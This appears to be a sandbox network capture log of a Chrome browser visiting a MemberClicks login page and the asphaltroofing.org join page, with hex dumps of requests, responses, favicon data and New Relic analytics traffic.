2024-04-23 14:54:06 UTC	1369	IN	Data Raw: f2 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c3 f5 33 00 c3 f1 ff 00 c3 f1 ff 00 c3 f1 ff 00 c3 f1 ff 00 c3 f1 ff 00 c3 f1 b8 00 c3 f2 d9 00 c3 f1 ff 00 c3 f1 ff 00 c3 f1 ff 00 c3 f1 ff 00 c3 f1 ff 00 c3 f1 ff 00 c3 f1 ff 00 c3 f1 ff 00 c3 f2 fc 00 c4 f2 9f 00 c3 f2 da 00 c3 f1 ff 00 c3 f1 ff 00 c3 f1 ff 00 c3 f1 ff 00 c4 f1 ce 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 cc ff 05 00 c4 f2 bd 00 c3 f1 ff 00 c3 f1 ff 00 c3 f2 fc 00 c5 f3 69 00 00 00 00 00 df ff 08 00 c4 f2 98 00 c3 f1 ff 00 c3 f1 ff 00 c3 f1 ff 00 c3 f1 ff 00 c3 f1 ff 00 c3 f1 ff 00 c4 f2 fa 00 c5 f1 4b 00 00 00 00 00 cf ff 10 00 c4 f2 bf 00 c3 f1 ff 00 c3 f1 ff 00 c3 f2 fc 00 Data Ascii: :3iK
2024-04-23 14:54:06 UTC	1369	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4c c3 6c 6f 4b c2 6c ec 4a c2 6b ff 4a c2 6b ff 4a c2 6b ff 4a c2 6b ff 4a c2 6b ff 4a c2 6b ff 4a c5 6f 3e 00 00 00 00 e0 a3 00 c5 df a2 00 ff df a2 00 ff df a2 00 ff df a2 00 ff df a2 00 ff df a2 00 ff df a2 00 ff e0 a3 00 f6 df a3 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4b c3 6c 7b 4a c2 6b ff 4a c2 6b ff 4a c2 6b ff 4a c2 6b ff 4a c2 6b ff 4a c2 6b ff 4a c2 6b ff 4a c2 6b ff 4a c5 6d 60 00 00 00 00 e0 a3 00 de df a2 00 ff df a2 00 ff df a2 00 ff df a2 00 ff df a2 00 ff df a2 00 ff df a2 00 ff df a2 00 ff e0 a2 00 e7 e6 b3 00 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: LloKlJkJkJkJkJkJkJo>@Kl{JkJkJkJkJkJkJkJkJm`
2024-04-23 14:54:06 UTC	484	IN	Data Raw: e0 a3 00 fc df a2 00 ff df a2 00 ff df a2 00 ff df a2 00 ff df a2 00 ff df a2 00 ff e2 a5 00 3e 00 00 00 00 4c c3 6b a2 4a c2 6b ff 4a c2 6b ff 4a c2 6b ff 4a c2 6b ff 4a c2 6b ff 4a c2 6b ff 4a c3 6c ea 4b c3 6d 88 4e c4 6c 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e3 aa 00 1b e0 a2 00 7c df a3 00 d8 df a2 00 ff df a2 00 ff df a2 00 ff e0 a3 00 fc e8 a2 00 0b 00 00 00 00 4c c4 6d 6c 4a c2 6b ff 4a c2 6b ff 4a c2 6b ff 4a c3 6b fa 4b c2 6c b4 4c c2 6d 54 66 cc 99 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: >LkJkJkJkJkJkJkJlKmNl\|LmlJkJkJkJkKlLmTf

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
189	192.168.2.6	49946	162.247.243.29	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:07 UTC	1161	OUT	POST /1/5b403e9444?a=120876115&v=1.257.0&to=YVIAbURTXxUHWhVYWVgYI1pCW14ISXQifVlRXgx6WVxFFAlVDVREGVMLSkZeUB8%3D&rst=8987&ck=0&s=bc78c66f37fd5017&ref=https://arma1.memberclicks.net/login&af=err,xhr,stn,ins&ap=260&be=986&fe=7089&dc=5971&at=TRUDGwxJTBs%3D&fsh=1&perf=%7B%22timing%22:%7B%22of%22:1713884036355,%22n%22:0,%22f%22:3,%22dn%22:141,%22dne%22:141,%22c%22:141,%22s%22:142,%22ce%22:391,%22rq%22:391,%22rp%22:987,%22rpe%22:1090,%22di%22:6943,%22ds%22:6943,%22de%22:6957,%22dc%22:8067,%22l%22:8068,%22le%22:8075%7D,%22navigation%22:%7B%7D%7D&fp=5275&fcp=5275 HTTP/1.1 Host: bam.nr-data.net Connection: keep-alive Content-Length: 0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 content-type: text/plain Accept: / Origin: https://arma1.memberclicks.net Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://arma1.memberclicks.net/login Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-23 14:54:07 UTC	456	IN	HTTP/1.1 200 Connection: close Content-Length: 150 date: Tue, 23 Apr 2024 14:54:07 GMT content-type: text/plain cross-origin-resource-policy: cross-origin access-control-allow-methods: GET, POST, PUT, HEAD, OPTIONS access-control-allow-credentials: true access-control-allow-origin: https://arma1.memberclicks.net access-control-expose-headers: Date timing-allow-origin: https://arma1.memberclicks.net x-served-by: cache-pdk-kpdk1780083-PDK
2024-04-23 14:54:07 UTC	150	IN	Data Raw: 7b 22 73 74 6e 22 3a 31 2c 22 65 72 72 22 3a 31 2c 22 69 6e 73 22 3a 31 2c 22 73 70 61 22 3a 31 2c 22 73 72 22 3a 30 2c 22 73 72 73 22 3a 30 2c 22 73 74 22 3a 30 2c 22 73 74 73 22 3a 30 2c 22 61 70 70 22 3a 7b 22 61 67 65 6e 74 73 22 3a 5b 7b 22 65 6e 74 69 74 79 47 75 69 64 22 3a 22 4d 54 67 7a 4f 54 67 79 4d 6e 78 43 55 6b 39 58 55 30 56 53 66 45 46 51 55 45 78 4a 51 30 46 55 53 55 39 4f 66 44 45 79 4d 44 6b 33 4e 54 45 79 4f 51 22 7d 5d 7d 7d Data Ascii: {"stn":1,"err":1,"ins":1,"spa":1,"sr":0,"srs":0,"st":0,"sts":0,"app":{"agents":[{"entityGuid":"MTgzOTgyMnxCUk9XU0VSfEFQUExJQ0FUSU9OfDEyMDk3NTEyOQ"}]}}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
190	192.168.2.6	49947	104.17.140.104	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:07 UTC	536	OUT	GET /templates/buckhead-jt/favicon.ico HTTP/1.1 Host: arma1.memberclicks.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: serviceID=10085; 0012f0e1bd8c627a4a486a1336b31aa5=tcjqo9csmcshqmt8ctfc1abiq2; Login=1; __cfruid=bfc40cc62fe99c72e425bc9ac2e5a91f8c4e0847-1713884038
2024-04-23 14:54:07 UTC	537	IN	HTTP/1.1 200 OK Date: Tue, 23 Apr 2024 14:54:07 GMT Content-Type: image/vnd.microsoft.icon Content-Length: 5430 Connection: close referrer-policy: no-referrer-when-downgrade strict-transport-security: max-age=31536000; includeSubDomains; preload last-modified: Mon, 02 Dec 2019 15:37:40 GMT etag: "1536-598ba5c1ab738" x-frame-options: sameorigin CF-Cache-Status: HIT Age: 1 Expires: Tue, 23 Apr 2024 15:54:07 GMT Cache-Control: public, max-age=3600 Accept-Ranges: bytes Server: cloudflare CF-RAY: 878eafe03d55add7-ATL
2024-04-23 14:54:07 UTC	832	IN	Data Raw: 00 00 01 00 02 00 10 10 00 00 01 00 20 00 68 04 00 00 26 00 00 00 20 20 00 00 01 00 20 00 a8 10 00 00 8e 04 00 00 28 00 00 00 10 00 00 00 20 00 00 00 01 00 20 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c4 f2 0a 00 c4 f1 7c 00 c3 f1 ce 00 c3 f1 9f 00 c5 f3 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c4 f3 32 00 c3 f1 d9 00 c3 f1 ff 00 c3 f1 ff 00 c3 f1 ff 00 c3 f1 f4 00 c4 f2 63 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c4 f1 5b 00 c3 f1 f6 00 c3 f1 ff 00 c3 f1 ff 00 c3 f1 ff 00 c3 f1 ff 00 c3 f1 ff 00 c3 f1 ff 00 c3 f2 99 00 Data Ascii: h& ( \| 2c[
2024-04-23 14:54:07 UTC	1369	IN	Data Raw: 6b ff 4a c2 6b ff 4a c2 6b ff 4b c4 6c 4a df a2 00 e0 df a2 00 ff df a2 00 ff df a2 00 ff df a2 00 ff e0 a2 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4a c2 6b e0 4a c2 6b ff 4a c2 6b ff 4a c2 6b ff 4a c2 6b ff 4c c3 6c 2d e0 a2 00 45 df a2 00 ec df a2 00 ff df a2 00 ff df a2 00 ff e0 a2 00 94 e1 a4 00 24 00 00 00 00 4f c3 70 11 4b c3 6c 63 4a c2 6b f1 4a c2 6b ff 4a c2 6b ff 4a c2 6b fc 4a c2 6c 82 00 00 00 00 00 00 00 00 e0 a5 00 12 e0 a3 00 83 df a2 00 eb df a2 00 ff df a2 00 ff df a2 00 fd e3 a4 00 1b 4a c2 6b cc 4a c2 6b ff 4a c2 6b ff 4a c2 6b fa 4b c3 6c a6 4b c3 6c 2d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e3 aa 00 07 df a3 00 55 df a2 00 af df a3 00 df e8 a2 00 03 4a c2 6c 9b 4a c2 6b c9 4b c3 6b 70 4d c3 6f 16 00 Data Ascii: kJkJkKlJ2JkJkJkJkJkLl-E$OpKlcJkJkJkJkJlJkJkJkJkKlKl-UJlJkKkpMo
2024-04-23 14:54:07 UTC	1369	IN	Data Raw: ff 00 c3 f2 eb 00 c6 f2 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c3 f5 33 00 c3 f1 ff 00 c3 f1 ff 00 c3 f1 ff 00 c3 f1 ff 00 c3 f1 ff 00 c3 f1 b8 00 c3 f2 d9 00 c3 f1 ff 00 c3 f1 ff 00 c3 f1 ff 00 c3 f1 ff 00 c3 f1 ff 00 c3 f1 ff 00 c3 f1 ff 00 c3 f1 ff 00 c3 f2 fc 00 c4 f2 9f 00 c3 f2 da 00 c3 f1 ff 00 c3 f1 ff 00 c3 f1 ff 00 c3 f1 ff 00 c4 f1 ce 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 cc ff 05 00 c4 f2 bd 00 c3 f1 ff 00 c3 f1 ff 00 c3 f2 fc 00 c5 f3 69 00 00 00 00 00 df ff 08 00 c4 f2 98 00 c3 f1 ff 00 c3 f1 ff 00 c3 f1 ff 00 c3 f1 ff 00 c3 f1 ff 00 c3 f1 ff 00 c4 f2 fa 00 c5 f1 4b 00 00 00 00 00 cf ff 10 00 c4 f2 bf 00 c3 f1 ff 00 c3 Data Ascii: :3iK
2024-04-23 14:54:07 UTC	1369	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4c c3 6c 6f 4b c2 6c ec 4a c2 6b ff 4a c2 6b ff 4a c2 6b ff 4a c2 6b ff 4a c2 6b ff 4a c2 6b ff 4a c5 6f 3e 00 00 00 00 e0 a3 00 c5 df a2 00 ff df a2 00 ff df a2 00 ff df a2 00 ff df a2 00 ff df a2 00 ff df a2 00 ff e0 a3 00 f6 df a3 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4b c3 6c 7b 4a c2 6b ff 4a c2 6b ff 4a c2 6b ff 4a c2 6b ff 4a c2 6b ff 4a c2 6b ff 4a c2 6b ff 4a c2 6b ff 4a c5 6d 60 00 00 00 00 e0 a3 00 de df a2 00 ff df a2 00 ff df a2 00 ff df a2 00 ff df a2 00 ff df a2 00 ff df a2 00 ff df a2 00 ff e0 a2 00 e7 e6 b3 00 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: LloKlJkJkJkJkJkJkJo>@Kl{JkJkJkJkJkJkJkJkJm`
2024-04-23 14:54:07 UTC	491	IN	Data Raw: a4 00 43 e0 a2 00 b3 e0 a3 00 fc df a2 00 ff df a2 00 ff df a2 00 ff df a2 00 ff df a2 00 ff df a2 00 ff e2 a5 00 3e 00 00 00 00 4c c3 6b a2 4a c2 6b ff 4a c2 6b ff 4a c2 6b ff 4a c2 6b ff 4a c2 6b ff 4a c2 6b ff 4a c3 6c ea 4b c3 6d 88 4e c4 6c 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e3 aa 00 1b e0 a2 00 7c df a3 00 d8 df a2 00 ff df a2 00 ff df a2 00 ff e0 a3 00 fc e8 a2 00 0b 00 00 00 00 4c c4 6d 6c 4a c2 6b ff 4a c2 6b ff 4a c2 6b ff 4a c3 6b fa 4b c2 6c b4 4c c2 6d 54 66 cc 99 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: C>LkJkJkJkJkJkJkJlKmNl\|LmlJkJkJkJkKlLmTf

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
191	192.168.2.6	49948	162.247.243.29	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:07 UTC	850	OUT	POST /resources/1/5b403e9444?a=120876115&v=1.257.0&to=YVIAbURTXxUHWhVYWVgYI1pCW14ISXQifVlRXgx6WVxFFAlVDVREGVMLSkZeUB8%3D&rst=9684&ck=0&s=bc78c66f37fd5017&ref=https://arma1.memberclicks.net/login&st=1713884036355&hr=0&fts=1713884036355&n=26&fsh=1 HTTP/1.1 Host: bam.nr-data.net Connection: keep-alive Content-Length: 1733 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 content-type: text/plain Accept: / Origin: https://arma1.memberclicks.net Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://arma1.memberclicks.net/login Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-23 14:54:07 UTC	1733	OUT	Data Raw: 7b 22 72 65 73 22 3a 5b 7b 22 6e 22 3a 22 75 6e 6c 6f 61 64 45 76 65 6e 74 53 74 61 72 74 22 2c 22 73 22 3a 30 2c 22 65 22 3a 30 2c 22 6f 22 3a 22 64 6f 63 75 6d 65 6e 74 22 2c 22 74 22 3a 22 74 69 6d 69 6e 67 22 7d 2c 7b 22 6e 22 3a 22 75 6e 6c 6f 61 64 45 76 65 6e 74 45 6e 64 22 2c 22 73 22 3a 30 2c 22 65 22 3a 30 2c 22 6f 22 3a 22 64 6f 63 75 6d 65 6e 74 22 2c 22 74 22 3a 22 74 69 6d 69 6e 67 22 7d 2c 7b 22 6e 22 3a 22 64 6f 6d 49 6e 74 65 72 61 63 74 69 76 65 22 2c 22 73 22 3a 36 39 34 33 2c 22 65 22 3a 36 39 34 33 2c 22 6f 22 3a 22 64 6f 63 75 6d 65 6e 74 22 2c 22 74 22 3a 22 74 69 6d 69 6e 67 22 7d 2c 7b 22 6e 22 3a 22 64 6f 6d 43 6f 6e 74 65 6e 74 4c 6f 61 64 65 64 45 76 65 6e 74 53 74 61 72 74 22 2c 22 73 22 3a 36 39 34 33 2c 22 65 22 3a 36 39 34 Data Ascii: {"res":[{"n":"unloadEventStart","s":0,"e":0,"o":"document","t":"timing"},{"n":"unloadEventEnd","s":0,"e":0,"o":"document","t":"timing"},{"n":"domInteractive","s":6943,"e":6943,"o":"document","t":"timing"},{"n":"domContentLoadedEventStart","s":6943,"e":694
2024-04-23 14:54:07 UTC	321	IN	HTTP/1.1 200 Connection: close Content-Length: 36 date: Tue, 23 Apr 2024 14:54:07 GMT content-type: text/plain access-control-allow-origin: https://arma1.memberclicks.net access-control-allow-methods: GET, POST, PUT, HEAD, OPTIONS access-control-allow-credentials: true x-served-by: cache-pdk-kfty2130084-PDK
2024-04-23 14:54:07 UTC	36	IN	Data Raw: 35 32 65 31 39 64 38 37 2d 30 30 30 31 2d 62 66 66 38 2d 36 62 30 32 2d 30 31 38 66 30 62 37 33 32 39 34 33 Data Ascii: 52e19d87-0001-bff8-6b02-018f0b732943

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
192	192.168.2.6	49949	162.247.243.29	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:07 UTC	892	OUT	GET /1/5b403e9444?a=120876115&v=1.257.0&to=YVIAbURTXxUHWhVYWVgYI1pCW14ISXQifVlRXgx6WVxFFAlVDVREGVMLSkZeUB8%3D&rst=8987&ck=0&s=bc78c66f37fd5017&ref=https://arma1.memberclicks.net/login&af=err,xhr,stn,ins&ap=260&be=986&fe=7089&dc=5971&at=TRUDGwxJTBs%3D&fsh=1&perf=%7B%22timing%22:%7B%22of%22:1713884036355,%22n%22:0,%22f%22:3,%22dn%22:141,%22dne%22:141,%22c%22:141,%22s%22:142,%22ce%22:391,%22rq%22:391,%22rp%22:987,%22rpe%22:1090,%22di%22:6943,%22ds%22:6943,%22de%22:6957,%22dc%22:8067,%22l%22:8068,%22le%22:8075%7D,%22navigation%22:%7B%7D%7D&fp=5275&fcp=5275 HTTP/1.1 Host: bam.nr-data.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-23 14:54:07 UTC	396	IN	HTTP/1.1 200 Connection: close Content-Length: 79 date: Tue, 23 Apr 2024 14:54:07 GMT content-type: image/gif cross-origin-resource-policy: cross-origin access-control-allow-methods: GET, POST, PUT, HEAD, OPTIONS access-control-allow-credentials: true access-control-allow-origin: * access-control-expose-headers: Date timing-allow-origin: * x-served-by: cache-pdk-kfty2130090-PDK
2024-04-23 14:54:07 UTC	79	IN	Data Raw: 5b 37 31 2c 20 37 33 2c 20 37 30 2c 20 35 36 2c 20 35 37 2c 20 39 37 2c 20 31 2c 20 30 2c 20 31 2c 20 30 2c 20 30 2c 20 30 2c 20 30 2c 20 34 34 2c 20 30 2c 20 30 2c 20 30 2c 20 30 2c 20 31 2c 20 30 2c 20 31 2c 20 30 2c 20 30 2c 20 32 5d Data Ascii: [71, 73, 70, 56, 57, 97, 1, 0, 1, 0, 0, 0, 0, 44, 0, 0, 0, 0, 1, 0, 1, 0, 0, 2]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
193	192.168.2.6	49952	162.247.243.29	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:07 UTC	813	OUT	POST /events/1/5b403e9444?a=120876115&v=1.257.0&to=YVIAbURTXxUHWhVYWVgYI1pCW14ISXQifVlRXgx6WVxFFAlVDVREGVMLSkZeUB8%3D&rst=10038&ck=0&s=bc78c66f37fd5017&ref=https://arma1.memberclicks.net/login HTTP/1.1 Host: bam.nr-data.net Connection: keep-alive Content-Length: 933 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://arma1.memberclicks.net Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://arma1.memberclicks.net/login Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-23 14:54:07 UTC	933	OUT	Data Raw: 62 65 6c 2e 36 3b 65 2c 27 66 70 2c 34 32 6a 2c 34 3b 35 2c 27 6e 65 74 2d 65 74 79 70 65 2c 27 33 67 3b 36 2c 27 6e 65 74 2d 72 74 74 2c 33 35 30 2e 3b 36 2c 27 6e 65 74 2d 64 6c 69 6e 6b 2c 31 2e 35 3b 36 2c 27 63 6c 73 2c 30 2e 31 30 33 32 32 30 37 33 34 31 36 35 32 37 33 31 39 3b 65 2c 27 66 63 70 2c 34 32 6a 2c 37 3b 36 2c 27 74 69 6d 65 54 6f 46 69 72 73 74 42 79 74 65 2c 39 38 36 2e 35 39 39 39 39 39 39 39 39 39 37 36 37 3b 36 2c 27 66 69 72 73 74 42 79 74 65 54 6f 46 43 50 2c 34 32 38 39 2e 33 30 30 30 30 30 30 30 30 30 31 37 35 3b 35 2c 27 6c 6f 61 64 53 74 61 74 65 2c 27 6c 6f 61 64 69 6e 67 3b 35 2c 31 2c 32 3b 36 2c 33 2c 33 35 30 2e 3b 36 2c 34 2c 31 2e 35 3b 36 2c 35 2c 30 2e 31 30 33 32 32 30 37 33 34 31 36 35 32 37 33 31 39 3b 65 2c 27 6c Data Ascii: bel.6;e,'fp,42j,4;5,'net-etype,'3g;6,'net-rtt,350.;6,'net-dlink,1.5;6,'cls,0.10322073416527319;e,'fcp,42j,7;6,'timeToFirstByte,986.5999999999767;6,'firstByteToFCP,4289.3000000000175;5,'loadState,'loading;5,1,2;6,3,350.;6,4,1.5;6,5,0.10322073416527319;e,'l
2024-04-23 14:54:08 UTC	364	IN	HTTP/1.1 200 Connection: close Content-Length: 24 date: Tue, 23 Apr 2024 14:54:08 GMT content-type: image/gif cross-origin-resource-policy: cross-origin access-control-allow-methods: GET, POST, PUT, HEAD, OPTIONS access-control-allow-credentials: true access-control-allow-origin: https://arma1.memberclicks.net x-served-by: cache-pdk-kfty2130026-PDK
2024-04-23 14:54:08 UTC	24	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 Data Ascii: GIF89a,

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
194	192.168.2.6	49951	192.124.249.102	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:07 UTC	987	OUT	GET /about-arma/join/ HTTP/1.1 Host: www.asphaltroofing.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.1.25628076.1713884020; _ga_YHMWY88VCL=GS1.1.1713884019.1.0.1713884020.0.0.0; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _scc_session=pc=1&C_TOUCH=2024-04-23T14:53:49.412Z; _fbp=fb.1.1713884037978.840489946
2024-04-23 14:54:08 UTC	613	IN	HTTP/1.1 200 OK Server: Sucuri/Cloudproxy Date: Tue, 23 Apr 2024 14:54:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Sucuri-ID: 14002 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Security-Policy: upgrade-insecure-requests; Link: <https://www.asphaltroofing.org/wp-json/>; rel="https://api.w.org/", <https://www.asphaltroofing.org/wp-json/wp/v2/pages/382>; rel="alternate"; type="application/json", <https://www.asphaltroofing.org/?p=382>; rel=shortlink Vary: Accept-Encoding X-Sucuri-Cache: HIT
2024-04-23 14:54:08 UTC	7579	IN	Data Raw: 38 30 30 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 21 2d 2d 20 47 54 4d 20 53 6e 69 70 70 65 74 20 66 6f 72 20 46 65 61 74 68 72 29 20 2d 2d 3e 0d 0a 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 77 2c 64 2c 73 2c 6c 2c 69 29 7b 77 5b 6c 5d 3d 77 5b 6c 5d 7c 7c 5b 5d 3b 77 5b 6c 5d 2e 70 75 73 68 28 7b 27 67 74 6d 2e 73 74 61 72 74 27 3a 0d 0a 6e 65 77 20 44 61 74 65 28 29 2e 67 65 74 54 69 6d 65 28 29 2c 65 76 65 6e 74 3a 27 67 74 6d 2e 6a 73 27 7d 29 3b 76 61 72 20 66 3d 64 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 73 29 5b 30 5d 2c 0d 0a 6a 3d 64 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 73 29 2c 64 6c 3d 6c Data Ascii: 8000<!DOCTYPE html><html lang="en"><head> ... GTM Snippet for Feathr) --><script>(function(w,d,s,l,i){w[l]=w[l]\|\|[];w[l].push({'gtm.start':new Date().getTime(),event:'gtm.js'});var f=d.getElementsByTagName(s)[0],j=d.createElement(s),dl=l
2024-04-23 14:54:08 UTC	8192	IN	Data Raw: 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 33 70 78 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 7d 2e 69 73 2d 64 61 72 6b 2d 74 68 65 6d 65 20 2e 77 70 2d 62 6c 6f 63 6b 2d 65 6d 62 65 64 20 66 69 67 63 61 70 74 69 6f 6e 7b 63 6f 6c 6f 72 3a 68 73 6c 61 28 30 2c 30 25 2c 31 30 30 25 2c 2e 36 35 29 7d 2e 62 6c 6f 63 6b 73 2d 67 61 6c 6c 65 72 79 2d 63 61 70 74 69 6f 6e 7b 63 6f 6c 6f 72 3a 23 35 35 35 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 33 70 78 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 7d 2e 69 73 2d 64 61 72 6b 2d 74 68 65 6d 65 20 2e 62 6c 6f 63 6b 73 2d 67 61 6c 6c 65 72 79 2d 63 61 70 74 69 6f 6e 7b 63 6f 6c 6f 72 3a 68 73 6c 61 28 30 2c 30 25 2c 31 30 30 25 2c 2e 36 35 29 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 69 6d 61 67 65 20 66 69 67 63 Data Ascii: ;font-size:13px;text-align:center}.is-dark-theme .wp-block-embed figcaption{color:hsla(0,0%,100%,.65)}.blocks-gallery-caption{color:#555;font-size:13px;text-align:center}.is-dark-theme .blocks-gallery-caption{color:hsla(0,0%,100%,.65)}.wp-block-image figc
